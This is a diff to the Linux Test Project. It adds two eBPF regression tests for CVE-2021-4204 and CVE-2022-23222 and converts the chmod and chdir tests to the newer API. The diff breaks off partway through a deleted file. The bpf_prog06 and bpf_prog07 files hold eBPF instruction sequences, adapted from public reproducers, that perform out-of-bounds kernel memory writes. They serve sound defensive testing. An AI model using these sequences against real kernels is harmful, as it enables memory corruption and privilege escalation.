+ * Copyright (c) 2022 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * ringbuf_submit takes a pointer to a ringbuf record, but not the
+ * size of this record. The verifier only validates offset ptrs[1] passed
+ * to functions if the function has a size parameter. So we can
+ * perform a wide range of ptr arithmetic on this record ptr.
+ *
+ * ringbuf_submit updates some data (i.e. the length) in the
+ * ringbuf header which is calculated from the record ptr. So this can
+ * be used to corrupt memory.
+ *
+ * This test does not try to cause a crash. Howver it does run the
+ * eBPF if it can. This will result in an instant crash or memory
+ * corruption which may later cause a crash.
+ *
+ * This test is adapted from a full reproducer which can be found here:
+ * https://github.com/tr3ee/CVE-2021-4204
+ *
+ * It's recommended to disable unprivileged eBPF by setting
+ * /proc/sys/kernel/unprivileged_bpf_disabled. Also there is a
+ * specific fix for this issue:
+ *
+ * commit 64620e0a1e712a778095bd35cbb277dc2259281f
+ * Author: Daniel Borkmann <daniel@iogearbox.net>
+ * Date:   Tue Jan 11 14:43:41 2022 +0000
+ *
+ *  bpf: Fix out of bounds access for ringbuf helpers
+ *
+ * [1]: Depending on the ptr/reg type
+ */
+
+#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+
+#include "config.h"
+#include "tst_test.h"
+#include "tst_taint.h"
+#include "tst_capability.h"
+#include "lapi/bpf.h"
+#include "bpf_common.h"
+
+#define BUFSIZE 8192
+
+static const char MSG[] = "Ahoj!";
+static char *msg;
+
+static int map_fd;
+static uint32_t *key;
+static uint64_t *val;
+static char *log;
+static union bpf_attr *attr;
+
+static int load_prog(void)
+{
+	int ret;
+	const struct bpf_insn prog_insn[] = {
+		// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, 0xff0, 0)
+		BPF_LD_MAP_FD(BPF_REG_1, map_fd),
+		BPF_MOV64_IMM(BPF_REG_2, 0xff0),
+		BPF_MOV64_IMM(BPF_REG_3, 0x00),
+		BPF_EMIT_CALL(BPF_FUNC_ringbuf_reserve),
+
+		// if (r0 == NULL) exit(2)
+		BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
+		BPF_MOV64_IMM(BPF_REG_0, 2),
+		BPF_EXIT_INSN(),
+
+		// r0 = BPF_FUNC_ringbuf_submit(r0-(0x3008-0x38), BPF_RB_NO_WAKEUP)
+		BPF_ALU64_IMM(BPF_SUB, BPF_REG_0, (0x3008-0x38)),
+		BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
+		BPF_MOV64_IMM(BPF_REG_2, 1),
+		BPF_EMIT_CALL(BPF_FUNC_ringbuf_submit),
+
+		/* exit(0) */
+		BPF_MOV64_IMM(BPF_REG_0, 0),
+		BPF_EXIT_INSN()
+	};
+
+	bpf_init_prog_attr(attr, prog_insn, sizeof(prog_insn), log, BUFSIZE);
+
+	ret = TST_RETRY_FUNC(bpf(BPF_PROG_LOAD, attr, sizeof(*attr)),
+			     TST_RETVAL_GE0);
+
+	if (ret >= 0)
+		return ret;
+
+	if (ret != -1)
+		tst_brk(TBROK, "Invalid bpf() return value: %d", ret);
+
+	if (log[0] != 0)
+		tst_printf("%s\n", log);
+
+	return ret;
+}
+
+static void setup(void)
+{
+	rlimit_bump_memlock();
+	memcpy(msg, MSG, sizeof(MSG));
+}
+
+static void run(void)
+{
+	int prog_fd;
+
+	map_fd = bpf_map_create(&(union bpf_attr){
+			.map_type = BPF_MAP_TYPE_RINGBUF,
+			.key_size = 0,
+			.value_size = 0,
+			.max_entries = getpagesize()
+		});
+
+	tst_res(TINFO, "Trying to load eBPF with OOB write");
+	prog_fd = load_prog();
+	if (prog_fd == -1) {
+		tst_res(TPASS, "Failed verification");
+		return;
+	}
+
+	tst_res(TFAIL, "Loaded program with OOB write");
+	tst_res(TINFO, "Running eBPF with OOB");
+	bpf_run_prog(prog_fd, msg, sizeof(MSG));
+	tst_res(TINFO, "Ran eBPF");
+
+	SAFE_CLOSE(prog_fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.min_kver = "5.8",
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.caps = (struct tst_cap []) {
+		TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN),
+		TST_CAP(TST_CAP_DROP, CAP_BPF),
+		{}
+	},
+	.bufs = (struct tst_buffers []) {
+		{&key, .size = sizeof(*key)},
+		{&val, .size = sizeof(*val)},
+		{&log, .size = BUFSIZE},
+		{&attr, .size = sizeof(*attr)},
+		{&msg, .size = sizeof(MSG)},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "64620e0a1e71"},
+		{"CVE", "CVE-2021-4204"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/bpf/bpf_prog07.c b/testcases/kernel/syscalls/bpf/bpf_prog07.c
new file mode 100644
index 0000000..50ff6ee
--- /dev/null
+++ b/testcases/kernel/syscalls/bpf/bpf_prog07.c
@@ -0,0 +1,166 @@
+// SPDX-License-Identifier: GPL-2.0-only
+/*
+ * Copyright (c) 2022 SUSE LLC <rpalethorpe@suse.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * The verifier did not properly restrict some *_OR_NULL pointer
+ * types. Including RET_PTR_TO_ALLOC_MEM_OR_NULL which is returned by
+ * ringbuf_reserve. Somehow this means they can be used to perform
+ * arbitrary pointer arithmetic.
+ *
+ * The test tries to do some pointer arithmetic on the return value of
+ * ringbuf_reserve. Possibly with a trick to make the verifier believe
+ * the pointer (in r1) is NULL. The test will pass if the eBPF is
+ * rejected and will fail otherwise.
+ *
+ * This test does not try to cause a crash. Howver it does run the
+ * eBPF if it can. This will result in an instant crash or memory
+ * corruption which may later cause a crash.
+ *
+ * This test is adapted from a full reproducer which can be found here:
+ * https://github.com/tr3ee/CVE-2022-23222
+ *
+ * It's recommended to disable unprivileged eBPF by setting
+ * /proc/sys/kernel/unprivileged_bpf_disabled. Also there is a
+ * specific fix for this issue:
+ *
+ * commit 64620e0a1e712a778095bd35cbb277dc2259281f
+ * Author: Daniel Borkmann <daniel@iogearbox.net>
+ * Date:   Tue Jan 11 14:43:41 2022 +0000
+ *
+ *  bpf: Fix out of bounds access for ringbuf helpers
+ */
+
+#include <stdint.h>
+#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+
+#include "config.h"
+#include "tst_test.h"
+#include "tst_taint.h"
+#include "tst_capability.h"
+#include "lapi/bpf.h"
+#include "bpf_common.h"
+
+#define BUFSIZE 8192
+
+static const char MSG[] = "Ahoj!";
+static char *msg;
+
+static int map_fd;
+static uint32_t *key;
+static uint64_t *val;
+static char *log;
+static union bpf_attr *attr;
+
+static int load_prog(void)
+{
+	int ret;
+	const struct bpf_insn prog_insn[] = {
+		// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
+		BPF_LD_MAP_FD(BPF_REG_1, map_fd),
+		BPF_MOV64_IMM(BPF_REG_2, getpagesize()),
+		BPF_MOV64_IMM(BPF_REG_3, 0x00),
+		BPF_EMIT_CALL(BPF_FUNC_ringbuf_reserve),
+
+		BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
+		BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
+
+		// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
+		BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
+		BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
+		BPF_MOV64_IMM(BPF_REG_2, 1),
+		BPF_EMIT_CALL(BPF_FUNC_ringbuf_discard),
+		BPF_MOV64_IMM(BPF_REG_0, 2),
+		BPF_EXIT_INSN(),
+
+		// *(sp + 4*r1) = INT32_MAX
+		BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 8),
+		BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
+		BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -8),
+		BPF_ALU64_REG(BPF_ADD, BPF_REG_3, BPF_REG_1),
+		BPF_ST_MEM(BPF_DW, BPF_REG_3, 0, INT32_MAX),
+
+		/* exit(0) */
+		BPF_MOV64_IMM(BPF_REG_0, 0),
+		BPF_EXIT_INSN()
+
+	};
+
+	bpf_init_prog_attr(attr, prog_insn, sizeof(prog_insn), log, BUFSIZE);
+
+	ret = TST_RETRY_FUNC(bpf(BPF_PROG_LOAD, attr, sizeof(*attr)),
+			     TST_RETVAL_GE0);
+
+	if (ret >= 0)
+		return ret;
+
+	if (ret != -1)
+		tst_brk(TBROK, "Invalid bpf() return value: %d", ret);
+
+	if (log[0] != 0)
+		tst_printf("%s\n", log);
+
+	return ret;
+}
+
+static void setup(void)
+{
+	rlimit_bump_memlock();
+	memcpy(msg, MSG, sizeof(MSG));
+}
+
+static void run(void)
+{
+	int prog_fd;
+
+	map_fd = bpf_map_create(&(union bpf_attr){
+			.map_type = BPF_MAP_TYPE_RINGBUF,
+			.key_size = 0,
+			.value_size = 0,
+			.max_entries = getpagesize()
+		});
+
+	tst_res(TINFO, "Trying to load eBPF with OOB write");
+	prog_fd = load_prog();
+	if (prog_fd == -1) {
+		tst_res(TPASS, "Failed verification");
+		return;
+	}
+
+	tst_res(TFAIL, "Loaded program with OOB write");
+	tst_res(TINFO, "Running eBPF with OOB");
+	bpf_run_prog(prog_fd, msg, sizeof(MSG));
+	tst_res(TINFO, "Ran eBPF");
+
+	SAFE_CLOSE(prog_fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.min_kver = "5.8",
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.caps = (struct tst_cap []) {
+		TST_CAP(TST_CAP_DROP, CAP_SYS_ADMIN),
+		TST_CAP(TST_CAP_DROP, CAP_BPF),
+		{}
+	},
+	.bufs = (struct tst_buffers []) {
+		{&key, .size = sizeof(*key)},
+		{&val, .size = sizeof(*val)},
+		{&log, .size = BUFSIZE},
+		{&attr, .size = sizeof(*attr)},
+		{&msg, .size = sizeof(MSG)},
+		{}
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "64620e0a1e71"},
+		{"CVE", "CVE-2022-23222"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/chdir/chdir01.c b/testcases/kernel/syscalls/chdir/chdir01.c
index aa25adf..e4080e3 100644
--- a/testcases/kernel/syscalls/chdir/chdir01.c
+++ b/testcases/kernel/syscalls/chdir/chdir01.c
@@ -25,6 +25,7 @@
 #define BLOCKED_NAME "keep_out"
 #define LINK_NAME1 "symloop"
 #define LINK_NAME2 "symloop2"
+#define TESTUSER "nobody"
 
 static char *workdir;
 static int skip_symlinks, skip_blocked;
@@ -50,16 +51,18 @@
 	int fd;
 	struct stat statbuf;
 
+	umask(0);
+
+	SAFE_MOUNT(tst_device->dev, MNTPOINT, tst_device->fs_type, 0, NULL);
+
 	cwd = SAFE_GETCWD(NULL, 0);
 	workdir = SAFE_MALLOC(strlen(cwd) + strlen(MNTPOINT) + 2);
 	sprintf(workdir, "%s/%s", cwd, MNTPOINT);
 	free(cwd);
 	SAFE_CHDIR(workdir);
 
-	mode_t sys_umask = umask(0);
 	SAFE_MKDIR(DIR_NAME, 0755);
 	SAFE_MKDIR(BLOCKED_NAME, 0644);
-	umask(sys_umask);
 
 	/* FAT and NTFS override file and directory permissions */
 	SAFE_STAT(BLOCKED_NAME, &statbuf);
@@ -78,7 +81,7 @@
 	SAFE_CLOSE(fd);
 
 	if (!ltpuser)
-		ltpuser = SAFE_GETPWNAM("nobody");
+		ltpuser = SAFE_GETPWNAM(TESTUSER);
 }
 
 static void check_result(const char *user, const char *name, int retval,
@@ -106,6 +109,8 @@
 {
 	struct test_case *tc = testcase_list + n;
 
+	tst_res(TINFO, "Testing '%s'", tc->name);
+
 	if (tc->root_err == ELOOP && skip_symlinks) {
 		tst_res(TCONF, "Skipping symlink loop test, not supported");
 		return;
@@ -127,17 +132,19 @@
 	SAFE_SETEUID(ltpuser->pw_uid);
 	TEST(chdir(tc->name));
 	SAFE_SETEUID(0);
-	check_result("nobody", tc->name, tc->nobody_ret, tc->nobody_err);
+	check_result(TESTUSER, tc->name, tc->nobody_ret, tc->nobody_err);
 }
 
 static void cleanup(void)
 {
+	SAFE_CHDIR("..");
+	tst_umount(workdir);
 	free(workdir);
 }
 
 static struct tst_test test = {
 	.needs_root = 1,
-	.mount_device = 1,
+	.format_device = 1,
 	.mntpoint = MNTPOINT,
 	.all_filesystems = 1,
 	.test = run,
diff --git a/testcases/kernel/syscalls/chmod/.gitignore b/testcases/kernel/syscalls/chmod/.gitignore
index 4e856df4..27ddfce 100644
--- a/testcases/kernel/syscalls/chmod/.gitignore
+++ b/testcases/kernel/syscalls/chmod/.gitignore
@@ -1,7 +1,5 @@
 /chmod01
-/chmod02
 /chmod03
-/chmod04
 /chmod05
 /chmod06
 /chmod07
diff --git a/testcases/kernel/syscalls/chmod/chmod01.c b/testcases/kernel/syscalls/chmod/chmod01.c
index 55ddf8a..9f5ec4c 100644
--- a/testcases/kernel/syscalls/chmod/chmod01.c
+++ b/testcases/kernel/syscalls/chmod/chmod01.c
@@ -1,159 +1,71 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
  */
 
-/*
- * Test Name: chmod01
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that, chmod(2) succeeds when used to change the mode permissions
- *  of a file.
- *
- * Expected Result:
- *  chmod(2) should return 0 and the mode permissions set on file should match
- *  the specified mode.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  chmod01 [-c n] [-e] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  None.
- *
+ * Verify that chmod(2) succeeds when used to change the mode permissions
+ * of a file or directory.
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
-
-#define FILE_MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
+#define MODE	S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
 #define TESTFILE	"testfile"
+#define TESTDIR		"testdir_1"
 
-char *TCID = "chmod01";
-int TST_TOTAL = 8;
+static int modes[] = {0, 07, 070, 0700, 0777, 02777, 04777, 06777};
 
-int modes[] = { 0, 07, 070, 0700, 0777, 02777, 04777, 06777 };
+static struct variant {
+	char *name;
+	unsigned int mode_mask;
+	char *desc;
+} variants[] = {
+	{TESTFILE, S_IFREG, "verify permissions of file"},
+	{TESTDIR, S_IFDIR, "verify permissions of directory"},
+};
 
-void setup();
-void cleanup();
-
-int main(int ac, char **av)
+static void verify_chmod(unsigned int n)
 {
 	struct stat stat_buf;
-	int lc;
-	int i;
-	int mode;
+	int mode = modes[n];
+	struct variant *tc = &variants[tst_variant];
 
-	TST_TOTAL = sizeof(modes) / sizeof(int);
+	TST_EXP_PASS(chmod(tc->name, mode), "chmod(%s, %04o)",
+	             tc->name, mode);
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (!TST_PASS)
+		return;
 
-	setup();
+	SAFE_STAT(tc->name, &stat_buf);
+	stat_buf.st_mode &= ~tc->mode_mask;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			mode = modes[i];
-
-			TEST(chmod(TESTFILE, mode));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL | TTERRNO,
-					 "chmod(%s, %#o) failed", TESTFILE,
-					 mode);
-				continue;
-			}
-			if (stat(TESTFILE, &stat_buf) < 0)
-				tst_brkm(TFAIL | TERRNO, cleanup,
-					 "stat(%s) failed", TESTFILE);
-			stat_buf.st_mode &= ~S_IFREG;
-
-			if (stat_buf.st_mode == (unsigned int)mode)
-				tst_resm(TPASS, "Functionality of "
-					 "chmod(%s, %#o) successful",
-					 TESTFILE, mode);
-			else
-				tst_resm(TFAIL, "%s: Incorrect "
-					 "modes 0%03o, Expected 0%03o",
-					 TESTFILE, stat_buf.st_mode,
-					 mode);
-		}
+	if (stat_buf.st_mode == (unsigned int)mode) {
+		tst_res(TPASS, "stat(%s) mode=%04o",
+				tc->name, stat_buf.st_mode);
+	} else {
+		tst_res(TFAIL, "stat(%s) mode=%04o",
+				tc->name, stat_buf.st_mode);
 	}
-
-	cleanup();
-	tst_exit();
 }
 
-void setup(void)
+static void setup(void)
 {
-	int fd;
+	tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc);
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fd = SAFE_OPEN(cleanup, TESTFILE, O_RDWR | O_CREAT, FILE_MODE);
-	SAFE_CLOSE(cleanup, fd);
-
+	if (tst_variant)
+		SAFE_MKDIR(variants[tst_variant].name, MODE);
+	else
+		SAFE_TOUCH(variants[tst_variant].name, MODE, NULL);
 }
 
-void cleanup(void)
-{
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_variants = ARRAY_SIZE(variants),
+	.tcnt = ARRAY_SIZE(modes),
+	.test = verify_chmod,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/chmod/chmod02.c b/testcases/kernel/syscalls/chmod/chmod02.c
deleted file mode 100644
index 94a77ae..0000000
--- a/testcases/kernel/syscalls/chmod/chmod02.c
+++ /dev/null
@@ -1,107 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/NoticeExplan/
- */
-
-/*
- * AUTHOR	: William Roske
- * CO-PILOT	: Dave Fenner
- * DATE STARTED	: 03/30/92
- *
- *  Calls chmod(2) with different modes and expects success.
- */
-
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-static int modes[] = { 0, 07, 070, 0700, 0777, 02777, 04777, 06777 };
-
-char *TCID = "chmod02";
-int TST_TOTAL = ARRAY_SIZE(modes);
-
-#define FNAME "test_file"
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
-{
-	int lc, i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-
-			TEST(chmod(FNAME, modes[i]));
-
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL | TTERRNO,
-					 "chmod(%s, %#o) failed", FNAME, modes[i]);
-			} else {
-				tst_resm(TPASS,
-					 "chmod(%s, %#o) returned %ld",
-					 FNAME, modes[i], TEST_RETURN);
-			}
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	SAFE_FILE_PRINTF(cleanup, FNAME, "File content\n");
-}
-
-static void cleanup(void)
-{
-	tst_rmdir();
-}
diff --git a/testcases/kernel/syscalls/chmod/chmod03.c b/testcases/kernel/syscalls/chmod/chmod03.c
index f53e437..3ceeae2 100644
--- a/testcases/kernel/syscalls/chmod/chmod03.c
+++ b/testcases/kernel/syscalls/chmod/chmod03.c
@@ -1,183 +1,77 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines  Corp., 2001
+ *  07/2001 Ported by Wayne Boyer
  */
 
-/*
- * Test Name: chmod03
+/*\
+ * [Description]
  *
- * Test Description:
- *  Verify that, chmod(2) will succeed to change the mode of a file
- *  and set the sticky bit on it if invoked by non-root (uid != 0)
- *  process with the following constraints,
- *	- the process is the owner of the file.
- *	- the effective group ID or one of the supplementary group ID's of the
- *	  process is equal to the group ID of the file.
+ * Verify that, chmod(2) will succeed to change the mode of a file or directory
+ * and set the sticky bit on it if invoked by non-root (uid != 0)
+ * process with the following constraints:
  *
- * Expected Result:
- *  chmod() should return value 0 on success and succeeds to change
- *  the mode of specified file with sticky bit set on it.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  chmod03 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'non-super-user' only.
- *
+ * - the process is the owner of the file or directory.
+ * - the effective group ID or one of the supplementary group ID's of the
+ *   process is equal to the group ID of the file or directory.
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
 #include <pwd.h>
+#include "tst_test.h"
 
-#include "test.h"
-#include "safe_macros.h"
+#define FILE_MODE   S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
+#define DIR_MODE	S_IRWXU | S_IRWXG | S_IRWXO
+#define PERMS		01777
 
-#define FILE_MODE       S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH
-#define PERMS		01777	/*
-				 * Mode permissions of test file with sticky
-				 * bit set.
-				 */
 #define TESTFILE	"testfile"
+#define TESTDIR		"testdir_3"
 
-char *TCID = "chmod03";
-int TST_TOTAL = 1;
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
+static struct tcase {
+	char *name;
+	char *desc;
+} tcases[] = {
+	{TESTFILE, "verify permissions of file"},
+	{TESTDIR, "verify permissions of directory"},
+};
 
-void setup();			/* Main setup function for the test */
-void cleanup();			/* Main cleanup function for the test */
-
-int main(int ac, char **av)
+static void verify_chmod(unsigned int n)
 {
 	struct stat stat_buf;
-	int lc;
-	mode_t file_mode;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	TST_EXP_PASS(chmod(tc->name, PERMS), "chmod(%s, %04o)",
+		tc->name, PERMS);
 
-	setup();
+	if (!TST_PASS)
+		return;
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	SAFE_STAT(tc->name, &stat_buf);
 
-		tst_count = 0;
-
-		TEST(chmod(TESTFILE, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "chmod(%s, %#o) failed",
-				 TESTFILE, PERMS);
-			continue;
-		}
-		if (stat(TESTFILE, &stat_buf) < 0) {
-			tst_brkm(TFAIL | TERRNO, cleanup,
-				 "stat(%s) failed", TESTFILE);
-		}
-		file_mode = stat_buf.st_mode;
-
-		/* Verify STICKY BIT set on testfile */
-		if ((file_mode & PERMS) != PERMS) {
-			tst_resm(TFAIL, "%s: Incorrect modes 0%3o, "
-				 "Expected 0777", TESTFILE, file_mode);
-		} else {
-			tst_resm(TPASS, "Functionality of "
-				 "chmod(%s, %#o) successful",
-				 TESTFILE, PERMS);
-		}
+	if ((stat_buf.st_mode & PERMS) != PERMS) {
+		tst_res(TFAIL, "stat(%s) mode=%04o",
+			tc->name, stat_buf.st_mode);
+	} else {
+		tst_res(TPASS, "stat(%s) mode=%04o",
+			tc->name, stat_buf.st_mode);
 	}
-
-	cleanup();
-	tst_exit();
 }
 
-void setup(void)
+static void setup(void)
 {
-	int fd;
+	char nobody_uid[] = "nobody";
+	struct passwd *ltpuser;
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	ltpuser = SAFE_GETPWNAM(nobody_uid);
+	SAFE_SETEUID(ltpuser->pw_uid);
 
-	tst_require_root();
-	ltpuser = getpwnam(nobody_uid);
-	if (ltpuser == NULL)
-		tst_brkm(TBROK | TERRNO, NULL, "getpwnam failed");
-	SAFE_SETUID(NULL, ltpuser->pw_uid);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/*
-	 * Create a test file under temporary directory with specified
-	 * mode permissios and set the ownership of the test file to the
-	 * uid/gid of guest user.
-	 */
-	if ((fd = open(TESTFILE, O_RDWR | O_CREAT, FILE_MODE)) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "open(%s, O_RDWR|O_CREAT, %#o) failed",
-			 TESTFILE, FILE_MODE);
-	}
-
-	SAFE_CLOSE(cleanup, fd);
+	SAFE_TOUCH(TESTFILE, FILE_MODE, NULL);
+	SAFE_MKDIR(TESTDIR, DIR_MODE);
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- *  Delete the testfile and temporary directory created in setup().
- */
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_chmod,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/chmod/chmod04.c b/testcases/kernel/syscalls/chmod/chmod04.c
deleted file mode 100644
index cbc13cf..0000000
--- a/testcases/kernel/syscalls/chmod/chmod04.c
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * Test Name: chmod04
- *
- * Test Description:
- *  Verify that, chmod(2) will succeed to change the mode of a directory
- *  and set the sticky bit on it if invoked by non-root (uid != 0) process
- *  with the following constraints,
- *	- the process is the owner of the directory.
- *	- the effective group ID or one of the supplementary group ID's of the
- *	  process is equal to the group ID of the directory.
- *
- * Expected Result:
